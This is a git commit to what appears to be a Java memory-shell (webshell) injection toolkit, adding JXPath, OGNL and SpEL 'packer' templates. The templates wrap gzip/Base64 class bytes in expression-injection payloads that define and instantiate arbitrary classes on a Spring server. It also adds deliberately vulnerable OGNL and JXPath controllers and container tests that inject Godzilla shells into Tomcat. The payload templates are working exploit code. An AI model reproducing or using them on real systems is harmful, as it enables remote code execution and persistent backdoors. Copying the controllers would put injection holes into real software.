feat: support JXPathSpringGzipPacker

This commit is contained in:
ReaJason
2025-09-12 22:51:50 +08:00
parent c272a5387d
commit e1f0e7f4bd
21 changed files with 292 additions and 103 deletions
+1
View File
@@ -28,6 +28,7 @@ dependencies {
testImplementation(libs.junit.platform.reporting)
testImplementation(libs.junit.jupiter)
testImplementation(libs.junit.pioneer)
testImplementation(libs.logback.classic)
testRuntimeOnly(libs.junit.platform.launcher)
testImplementation(libs.hamcrest)
testImplementation(libs.bundles.testcontainers)
@@ -296,7 +296,9 @@ public class ShellAssertion {
if (StringUtils.isNotBlank(urlPattern)) {
injectorConfig.setUrlPattern(urlPattern);
}
if (Packers.SpELSpringIOUtilsJDK17.equals(packer)) {
if (Packers.SpELSpringGzipJDK17.equals(packer)
|| Packers.OGNLSpringGzipJDK17.equals(packer)
|| Packers.JXPathSpringGzipJDK17.equals(packer)) {
injectorConfig.setInjectorClassName("org.springframework.expression." + INJECTOR_CLASS_NAMES[new Random().nextInt(INJECTOR_CLASS_NAMES.length)] + getRandomString(5));
}
@@ -328,13 +330,15 @@ public class ShellAssertion {
VulTool.uploadJspFileToServer(uploadEntry, filename, content);
VulTool.urlIsOk(shellUrl);
}
case ScriptEngine, DefaultScriptEngine, ScriptEngineBigInteger -> VulTool.postIsOk(url + "/js", content);
case ScriptEngine, DefaultScriptEngine, ScriptEngineNoSquareBrackets, ScriptEngineBigInteger ->
VulTool.postIsOk(url + "/js", content);
case EL -> VulTool.postIsOk(url + "/el", content);
case SpEL, SpELSpringIOUtils, SpELScriptEngine, SpELSpringIOUtilsJDK17 ->
case SpEL, SpELSpringGzip, SpELScriptEngine, SpELSpringGzipJDK17 ->
VulTool.postIsOk(url + "/spel", content);
case OGNL, OGNLSpringIOUtils, OGNLScriptEngine -> VulTool.postIsOk(url + "/ognl", content);
case OGNLSpringGzip, OGNLScriptEngine, OGNLSpringGzipJDK17 -> VulTool.postIsOk(url + "/ognl", content);
case MVEL -> VulTool.postIsOk(url + "/mvel", content);
case JXPath -> VulTool.postIsOk(url + "/jxpath", content);
case JXPath, JXPathScriptEngine, JXPathSpringGzip, JXPathSpringGzipJDK17 ->
VulTool.postIsOk(url + "/jxpath", content);
case JEXL -> VulTool.postIsOk(url + "/jexl2", content);
case Aviator -> VulTool.postIsOk(url + "/aviator", content);
case Groovy -> VulTool.postIsOk(url + "/groovy", content);
@@ -102,9 +102,4 @@ public class SpringBoot3ContainerTest {
void testTomcat(String imageName, String shellType, String shellTool, Packers packer) {
shellInjectIsOk(getUrl(container), Server.Tomcat, shellType, shellTool, Opcodes.V17, packer, container, python);
}
@Test
void testCommandValveSpELSpringIOUtilsJDK17() {
ShellAssertion.shellInjectIsOk(getUrl(container), Server.Tomcat, ShellType.JAKARTA_VALVE, ShellTool.Command, Opcodes.V17, Packers.SpELSpringIOUtilsJDK17, container);
}
}
@@ -0,0 +1,71 @@
package com.reajason.javaweb.integration.memshell.springwebmvc;
import com.reajason.javaweb.Server;
import com.reajason.javaweb.integration.ShellAssertion;
import com.reajason.javaweb.memshell.ShellTool;
import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.packer.Packers;
import lombok.extern.slf4j.Slf4j;
import net.bytebuddy.jar.asm.Opcodes;
import org.junit.jupiter.api.AfterAll;
import org.junit.jupiter.params.ParameterizedTest;
import org.junit.jupiter.params.provider.Arguments;
import org.junit.jupiter.params.provider.MethodSource;
import org.testcontainers.containers.GenericContainer;
import org.testcontainers.containers.wait.strategy.Wait;
import org.testcontainers.images.builder.ImageFromDockerfile;
import org.testcontainers.junit.jupiter.Container;
import org.testcontainers.junit.jupiter.Testcontainers;
import java.util.stream.Stream;
import static com.reajason.javaweb.integration.ContainerTool.*;
import static org.junit.jupiter.params.provider.Arguments.arguments;
/**
* @author ReaJason
* @since 2024/12/22
*/
@Testcontainers
@Slf4j
public class SpringBoot3ExpressionContainerTest {
public static final String imageName = "springboot3";
@Container
public final static GenericContainer<?> container = new GenericContainer<>(new ImageFromDockerfile()
.withDockerfile(springBoot3Dockerfile))
.withCopyToContainer(jattachFile, "/jattach")
.withCopyToContainer(springbootPid, "/fetch_pid.sh")
.waitingFor(Wait.forHttp("/test"))
.withExposedPorts(8080);
public static String getUrl(GenericContainer<?> container) {
String host = container.getHost();
int port = container.getMappedPort(8080);
String url = "http://" + host + ":" + port;
log.info("container started, app url is : {}", url);
return url;
}
@AfterAll
static void tearDown() {
String logs = container.getLogs();
log.info(logs);
// assertThat("Logs should not contain any exceptions", logs, doesNotContainException());
}
static Stream<Arguments> casesProvider() {
return Stream.of(
arguments(imageName, ShellType.JAKARTA_VALVE, ShellTool.Godzilla, Packers.SpELSpringGzipJDK17),
arguments(imageName, ShellType.JAKARTA_VALVE, ShellTool.Godzilla, Packers.OGNLSpringGzipJDK17),
arguments(imageName, ShellType.JAKARTA_VALVE, ShellTool.Godzilla, Packers.JXPathSpringGzipJDK17)
);
}
@ParameterizedTest(name = "{0}-expression|{1}{2}|{3}")
@MethodSource("casesProvider")
void test(String imageName, String shellType, String shellTool, Packers packer) {
ShellAssertion.shellInjectIsOk(getUrl(container), Server.Tomcat, shellType, shellTool, Opcodes.V17, packer, container);
}
}
@@ -44,16 +44,17 @@ public class Tomcat8ExpressionContainerTest {
return Stream.of(
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.EL),
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.OGNLScriptEngine),
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.OGNLSpringIOUtils),
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.OGNLSpringGzip),
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.MVEL),
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.SpELScriptEngine),
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.SpELSpringIOUtils),
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.SpELSpringGzip),
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.JEXL),
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.JXPath),
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.JXPathScriptEngine),
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.JXPathSpringGzip),
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.Aviator),
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.BeanShell),
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.ScriptEngine),
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.DefaultScriptEngine),
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.ScriptEngineNoSquareBrackets),
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.ScriptEngineBigInteger),
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.Groovy),
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.Rhino),
@@ -29,18 +29,23 @@ import com.reajason.javaweb.packer.jsp.DefineClassJspPacker;
import com.reajason.javaweb.packer.jsp.JspPacker;
import com.reajason.javaweb.packer.jsp.JspxPacker;
import com.reajason.javaweb.packer.jxpath.JXPathPacker;
import com.reajason.javaweb.packer.jxpath.JXPathScriptEnginePacker;
import com.reajason.javaweb.packer.jxpath.JXPathSpringGzipJDK17Packer;
import com.reajason.javaweb.packer.jxpath.JXPathSpringGzipPacker;
import com.reajason.javaweb.packer.mvel.MVELPacker;
import com.reajason.javaweb.packer.ognl.OGNLPacker;
import com.reajason.javaweb.packer.ognl.OGNLScriptEnginePacker;
import com.reajason.javaweb.packer.ognl.OGNLSpringIOUtilsGzipPacker;
import com.reajason.javaweb.packer.ognl.OGNLSpringGzipJDK17Packer;
import com.reajason.javaweb.packer.ognl.OGNLSpringGzipPacker;
import com.reajason.javaweb.packer.rhino.RhinoPacker;
import com.reajason.javaweb.packer.scriptengine.DefaultScriptEnginePacker;
import com.reajason.javaweb.packer.scriptengine.ScriptEngineBigIntegerPacker;
import com.reajason.javaweb.packer.scriptengine.ScriptEngineNoSquareBracketsPacker;
import com.reajason.javaweb.packer.scriptengine.ScriptEnginePacker;
import com.reajason.javaweb.packer.spel.SpELPacker;
import com.reajason.javaweb.packer.spel.SpELScriptEnginePacker;
import com.reajason.javaweb.packer.spel.SpELSpringIOUtilsGzipJDK17Packer;
import com.reajason.javaweb.packer.spel.SpELSpringIOUtilsGzipPacker;
import com.reajason.javaweb.packer.spel.SpELSpringGzipJDK17Packer;
import com.reajason.javaweb.packer.spel.SpELSpringGzipPacker;
import com.reajason.javaweb.packer.velocity.VelocityPacker;
import com.reajason.javaweb.packer.xmldecoder.XMLDecoderDefineClassPacker;
import com.reajason.javaweb.packer.xmldecoder.XMLDecoderPacker;
@@ -90,6 +95,7 @@ public enum Packers {
*/
ScriptEngine(new ScriptEnginePacker()),
DefaultScriptEngine(new DefaultScriptEnginePacker(), ScriptEnginePacker.class),
ScriptEngineNoSquareBrackets(new ScriptEngineNoSquareBracketsPacker(), ScriptEnginePacker.class),
ScriptEngineBigInteger(new ScriptEngineBigIntegerPacker(), ScriptEnginePacker.class),
Rhino(new RhinoPacker()),
@@ -100,18 +106,24 @@ public enum Packers {
OGNL(new OGNLPacker()),
OGNLScriptEngine(new OGNLScriptEnginePacker(), OGNLPacker.class),
OGNLSpringIOUtils(new OGNLSpringIOUtilsGzipPacker(), OGNLPacker.class),
OGNLSpringGzip(new OGNLSpringGzipPacker(), OGNLPacker.class),
OGNLSpringGzipJDK17(new OGNLSpringGzipJDK17Packer(), OGNLPacker.class),
MVEL(new MVELPacker()),
Aviator(new AviatorPacker()),
JXPath(new JXPathPacker()),
JXPathSpringGzip(new JXPathSpringGzipPacker(), JXPathPacker.class),
JXPathSpringGzipJDK17(new JXPathSpringGzipJDK17Packer(), JXPathPacker.class),
JEXL(new JEXLPacker()),
BeanShell(new BeanShellPacker()),
SpEL(new SpELPacker()),
SpELScriptEngine(new SpELScriptEnginePacker(), SpELPacker.class),
SpELSpringIOUtils(new SpELSpringIOUtilsGzipPacker(), SpELPacker.class),
SpELSpringIOUtilsJDK17(new SpELSpringIOUtilsGzipJDK17Packer(), SpELPacker.class),
SpELSpringGzip(new SpELSpringGzipPacker(), SpELPacker.class),
SpELSpringGzipJDK17(new SpELSpringGzipJDK17Packer(), SpELPacker.class),
Groovy(new GroovyPacker()),
GroovyClassDefiner(new GroovyClassDefinerPacker(), GroovyPacker.class),
@@ -1,19 +1,11 @@
package com.reajason.javaweb.packer.jxpath;
import com.reajason.javaweb.packer.ClassPackerConfig;
import com.reajason.javaweb.packer.Packer;
import com.reajason.javaweb.packer.Packers;
import com.reajason.javaweb.packer.AggregatePacker;
/**
* @author ReaJason
* @since 2024/12/13
*/
public class JXPathPacker implements Packer {
String template = "eval(getEngineByName(javax.script.ScriptEngineManager.new(), 'js'), '{{script}}')";
public class JXPathPacker implements AggregatePacker {
@Override
public String pack(ClassPackerConfig config) {
String script = Packers.ScriptEngine.getInstance().pack(config);
return template.replace("{{script}}", script);
}
}
@@ -0,0 +1,19 @@
package com.reajason.javaweb.packer.jxpath;
import com.reajason.javaweb.packer.ClassPackerConfig;
import com.reajason.javaweb.packer.Packer;
import com.reajason.javaweb.packer.Packers;
/**
* @author ReaJason
* @since 2024/12/13
*/
public class JXPathScriptEnginePacker implements Packer {
String template = "eval(getEngineByName(javax.script.ScriptEngineManager.new(), 'js'), '{{script}}')";
@Override
public String pack(ClassPackerConfig config) {
String script = Packers.ScriptEngineNoSquareBrackets.getInstance().pack(config);
return template.replace("{{script}}", script);
}
}
@@ -0,0 +1,23 @@
package com.reajason.javaweb.packer.jxpath;
import com.reajason.javaweb.packer.ClassPackerConfig;
import com.reajason.javaweb.packer.Packer;
import com.reajason.javaweb.packer.Packers;
import static com.reajason.javaweb.packer.spel.SpELSpringGzipJDK17Packer.assertClassNameValid;
/**
* @author ReaJason
* @since 2024/12/13
*/
public class JXPathSpringGzipJDK17Packer implements Packer {
String template = "newInstance(org.springframework.cglib.core.ReflectUtils.defineClass('{{className}}',org.springframework.util.StreamUtils.copyToByteArray(java.util.zip.GZIPInputStream.new(java.io.ByteArrayInputStream.new(org.springframework.util.Base64Utils.decodeFromString('{{base64Str}}')))),getContextClassLoader(java.lang.Thread.currentThread()),getProtectionDomain(java.lang.Class.forName('org.springframework.expression.ExpressionParser')),java.lang.Class.forName('org.springframework.expression.ExpressionParser')))";
@Override
public String pack(ClassPackerConfig config) {
String className = config.getClassName();
assertClassNameValid(className);
return template.replace("{{className}}", className)
.replace("{{base64Str}}", Packers.GzipBase64.getInstance().pack(config));
}
}
@@ -0,0 +1,19 @@
package com.reajason.javaweb.packer.jxpath;
import com.reajason.javaweb.packer.ClassPackerConfig;
import com.reajason.javaweb.packer.Packer;
import com.reajason.javaweb.packer.Packers;
/**
* @author ReaJason
* @since 2024/12/13
*/
public class JXPathSpringGzipPacker implements Packer {
String template = "newInstance(org.springframework.cglib.core.ReflectUtils.defineClass('{{className}}',org.springframework.util.StreamUtils.copyToByteArray(java.util.zip.GZIPInputStream.new(java.io.ByteArrayInputStream.new(org.springframework.util.Base64Utils.decodeFromString('{{base64Str}}')))),getContextClassLoader(java.lang.Thread.currentThread())))";
@Override
public String pack(ClassPackerConfig config) {
return template.replace("{{className}}", config.getClassName())
.replace("{{base64Str}}", Packers.GzipBase64.getInstance().pack(config));
}
}
@@ -0,0 +1,25 @@
package com.reajason.javaweb.packer.ognl;
import com.reajason.javaweb.packer.ClassPackerConfig;
import com.reajason.javaweb.packer.Packer;
import com.reajason.javaweb.packer.Packers;
import lombok.SneakyThrows;
import static com.reajason.javaweb.packer.spel.SpELSpringGzipJDK17Packer.assertClassNameValid;
/**
* @author ReaJason
* @since 2025/7/7
*/
public class OGNLSpringGzipJDK17Packer implements Packer {
String template = "(@org.springframework.cglib.core.ReflectUtils@defineClass('{{className}}',@org.springframework.util.StreamUtils@copyToByteArray(new java.util.zip.GZIPInputStream(new java.io.ByteArrayInputStream(@org.springframework.util.Base64Utils@decodeFromString('{{base64Str}}')))),@java.lang.Thread@currentThread().getContextClassLoader(),null,@java.lang.Class@forName('org.springframework.expression.ExpressionParser'))).newInstance()";
@Override
@SneakyThrows
public String pack(ClassPackerConfig config) {
String className = config.getClassName();
assertClassNameValid(className);
return template.replace("{{className}}", className)
.replace("{{base64Str}}", Packers.GzipBase64.getInstance().pack(config));
}
}
@@ -0,0 +1,21 @@
package com.reajason.javaweb.packer.ognl;
import com.reajason.javaweb.packer.ClassPackerConfig;
import com.reajason.javaweb.packer.Packer;
import com.reajason.javaweb.packer.Packers;
import lombok.SneakyThrows;
/**
* @author ReaJason
* @since 2025/7/7
*/
public class OGNLSpringGzipPacker implements Packer {
String template = "(@org.springframework.cglib.core.ReflectUtils@defineClass('{{className}}',@org.springframework.util.StreamUtils@copyToByteArray(new java.util.zip.GZIPInputStream(new java.io.ByteArrayInputStream(@org.springframework.util.Base64Utils@decodeFromString('{{base64Str}}')))),@java.lang.Thread@currentThread().getContextClassLoader())).newInstance()";
@Override
@SneakyThrows
public String pack(ClassPackerConfig config) {
return template.replace("{{className}}", config.getClassName())
.replace("{{base64Str}}", Packers.GzipBase64.getInstance().pack(config));
}
}
@@ -1,33 +0,0 @@
package com.reajason.javaweb.packer.ognl;
import com.reajason.javaweb.packer.ClassPackerConfig;
import com.reajason.javaweb.packer.Packer;
import lombok.SneakyThrows;
import org.apache.commons.codec.binary.Base64;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.util.zip.GZIPOutputStream;
/**
* @author ReaJason
* @since 2025/7/7
*/
public class OGNLSpringIOUtilsGzipPacker implements Packer {
String template = "(@org.springframework.cglib.core.ReflectUtils@defineClass('{{className}}',@org.apache.commons.io.IOUtils@toByteArray(new java.util.zip.GZIPInputStream(new java.io.ByteArrayInputStream(@org.springframework.util.Base64Utils@decodeFromString('{{base64Str}}')))),@java.lang.Thread@currentThread().getContextClassLoader())).newInstance()";
@Override
@SneakyThrows
public String pack(ClassPackerConfig config) {
return template.replace("{{className}}", config.getClassName())
.replace("{{base64Str}}", Base64.encodeBase64String(gzipCompress(config.getClassBytes())));
}
public static byte[] gzipCompress(byte[] data) throws IOException {
ByteArrayOutputStream out = new ByteArrayOutputStream();
try (GZIPOutputStream gzip = new GZIPOutputStream(out)) {
gzip.write(data);
}
return out.toByteArray();
}
}
@@ -2,20 +2,21 @@ package com.reajason.javaweb.packer.spel;
import com.reajason.javaweb.packer.ClassPackerConfig;
import com.reajason.javaweb.packer.Packer;
import com.reajason.javaweb.packer.Packers;
/**
* @author ReaJason
* @since 2024/12/13
*/
public class SpELSpringIOUtilsGzipJDK17Packer implements Packer {
String template = "T(org.springframework.cglib.core.ReflectUtils).defineClass('{{className}}',T(org.springframework.util.Base64Utils).decodeFromString('{{base64Str}}'),T(java.lang.Thread).currentThread().getContextClassLoader(),null,T(java.lang.Class).forName('org.springframework.expression.ExpressionParser')).newInstance()";
public class SpELSpringGzipJDK17Packer implements Packer {
String template = "T(org.springframework.cglib.core.ReflectUtils).defineClass('{{className}}',T(org.springframework.util.StreamUtils).copyToByteArray(new java.util.zip.GZIPInputStream(new java.io.ByteArrayInputStream(T(org.springframework.util.Base64Utils).decodeFromString('{{base64Str}}')))),T(java.lang.Thread).currentThread().getContextClassLoader(),null,T(java.lang.Class).forName('org.springframework.expression.ExpressionParser')).newInstance()";
@Override
public String pack(ClassPackerConfig config) {
String className = config.getClassName();
assertClassNameValid(className);
return template.replace("{{className}}", className)
.replace("{{base64Str}}", config.getClassBytesBase64Str());
.replace("{{base64Str}}", Packers.GzipBase64.getInstance().pack(config));
}
public static void assertClassNameValid(String className) {
@@ -0,0 +1,24 @@
package com.reajason.javaweb.packer.spel;
import com.reajason.javaweb.packer.ClassPackerConfig;
import com.reajason.javaweb.packer.Packer;
import com.reajason.javaweb.packer.Packers;
/**
*
* @since 5.2.24SpEL 限制了长度为 10000,常规的 Base64 编码已经不适用,需要进一步使用 GZIP 压缩
* <a href="https://github.com/spring-projects/spring-framework/blob/2ed1b6e6dda48ff0c74b67b39cba65676b5397b6/spring-expression/src/main/java/org/springframework/expression/spel/standard/InternalSpelExpressionParser.java#L100">InternalSpelExpressionParser.java</>
*
* @author ReaJason
* @since 2024/12/13
*/
public class SpELSpringGzipPacker implements Packer {
String template = "T(org.springframework.cglib.core.ReflectUtils).defineClass('{{className}}',T(org.springframework.util.StreamUtils).copyToByteArray(new java.util.zip.GZIPInputStream(new java.io.ByteArrayInputStream(T(org.springframework.util.Base64Utils).decodeFromString('{{base64Str}}')))),T(java.lang.Thread).currentThread().getContextClassLoader()).newInstance()";
@Override
public String pack(ClassPackerConfig config) {
return template.replace("{{className}}", config.getClassName())
.replace("{{base64Str}}", Packers.GzipBase64.getInstance().pack(config));
}
}
@@ -1,34 +0,0 @@
package com.reajason.javaweb.packer.spel;
import com.reajason.javaweb.packer.ClassPackerConfig;
import com.reajason.javaweb.packer.Packer;
import lombok.SneakyThrows;
import org.apache.commons.codec.binary.Base64;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.util.zip.GZIPOutputStream;
/**
* @author ReaJason
* @since 2024/12/13
*/
public class SpELSpringIOUtilsGzipPacker implements Packer {
String template = "T(org.springframework.cglib.core.ReflectUtils).defineClass('{{className}}',T(org.apache.commons.io.IOUtils).toByteArray(new java.util.zip.GZIPInputStream(new java.io.ByteArrayInputStream(T(org.springframework.util.Base64Utils).decodeFromString('{{base64Str}}')))),T(java.lang.Thread).currentThread().getContextClassLoader()).newInstance()";
@Override
@SneakyThrows
public String pack(ClassPackerConfig config) {
return template.replace("{{className}}", config.getClassName())
.replace("{{base64Str}}", Base64.encodeBase64String(gzipCompress(config.getClassBytes())));
}
public static byte[] gzipCompress(byte[] data) throws IOException {
ByteArrayOutputStream out = new ByteArrayOutputStream();
try (GZIPOutputStream gzip = new GZIPOutputStream(out)) {
gzip.write(data);
}
return out.toByteArray();
}
}
@@ -18,9 +18,9 @@ class SpELSpringIOUtilsGzipJDK17PackerTest {
classPackerConfig.setClassName("org.springframework.expression.sub.CommonUtil");
classPackerConfig.setClassBytes("hello".getBytes());
classPackerConfig.setClassBytesBase64Str(Base64.encodeBase64String("hello".getBytes()));
Assertions.assertThrows(UnsupportedOperationException.class, () -> Packers.SpELSpringIOUtilsJDK17.getInstance().pack(classPackerConfig));
Assertions.assertThrows(UnsupportedOperationException.class, () -> Packers.SpELSpringGzipJDK17.getInstance().pack(classPackerConfig));
classPackerConfig.setClassName("org.springframework.expression.CommonUtil");
Assertions.assertDoesNotThrow(() -> Packers.SpELSpringIOUtilsJDK17.getInstance().pack(classPackerConfig));
Assertions.assertDoesNotThrow(() -> Packers.SpELSpringGzipJDK17.getInstance().pack(classPackerConfig));
}
}
+3
View File
@@ -19,6 +19,9 @@ dependencies {
testImplementation("org.junit.jupiter:junit-jupiter")
testRuntimeOnly("org.junit.platform:junit-platform-launcher")
runtimeOnly("com.h2database:h2")
implementation("ognl:ognl:2.7.3")
implementation("commons-jxpath:commons-jxpath:1.3")
implementation("commons-beanutils:commons-beanutils:1.9.3")
}
tasks.test {
@@ -0,0 +1,20 @@
package com.reajason.javaweb.vul.springboot3.controller;
import org.apache.commons.jxpath.JXPathContext;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;
/**
* @author ReaJason
* @since 2024/12/14
*/
@RestController
@RequestMapping("/jxpath")
public class JXPathController {
@PostMapping
protected Object doPost(String data) {
JXPathContext context = JXPathContext.newContext(null);
return context.getValue(data);
}
}
@@ -0,0 +1,25 @@
package com.reajason.javaweb.vul.springboot3.controller;
import ognl.Ognl;
import ognl.OgnlContext;
import ognl.OgnlException;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;
/**
* @author ReaJason
* @since 2024/12/14
*/
@RestController
@RequestMapping("/ognl")
public class OgnlController {
@RequestMapping
protected Object doPost(String data) {
OgnlContext context = new OgnlContext();
try {
return Ognl.getValue(data, context, context.getRoot());
} catch (OgnlException e) {
throw new RuntimeException(e);
}
}
}
+1 -1
View File
@@ -18,11 +18,11 @@ dependencies {
implementation("commons-io:commons-io:2.19.0")
implementation("org.apache.velocity:velocity:1.7")
implementation("ognl:ognl:2.7.3")
implementation("commons-jxpath:commons-jxpath:1.3")
implementation("org.mvel:mvel2:2.4.7.Final")
implementation("org.beanshell:bsh:2.0b5")
implementation("org.apache.commons:commons-jexl:2.1.1")
implementation("org.apache.commons:commons-jexl3:3.2.1")
implementation("commons-jxpath:commons-jxpath:1.3")
implementation("com.googlecode.aviator:aviator:5.2.7")
implementation("org.codehaus.groovy:groovy:3.0.6")
implementation("org.mozilla:rhino:1.7.14")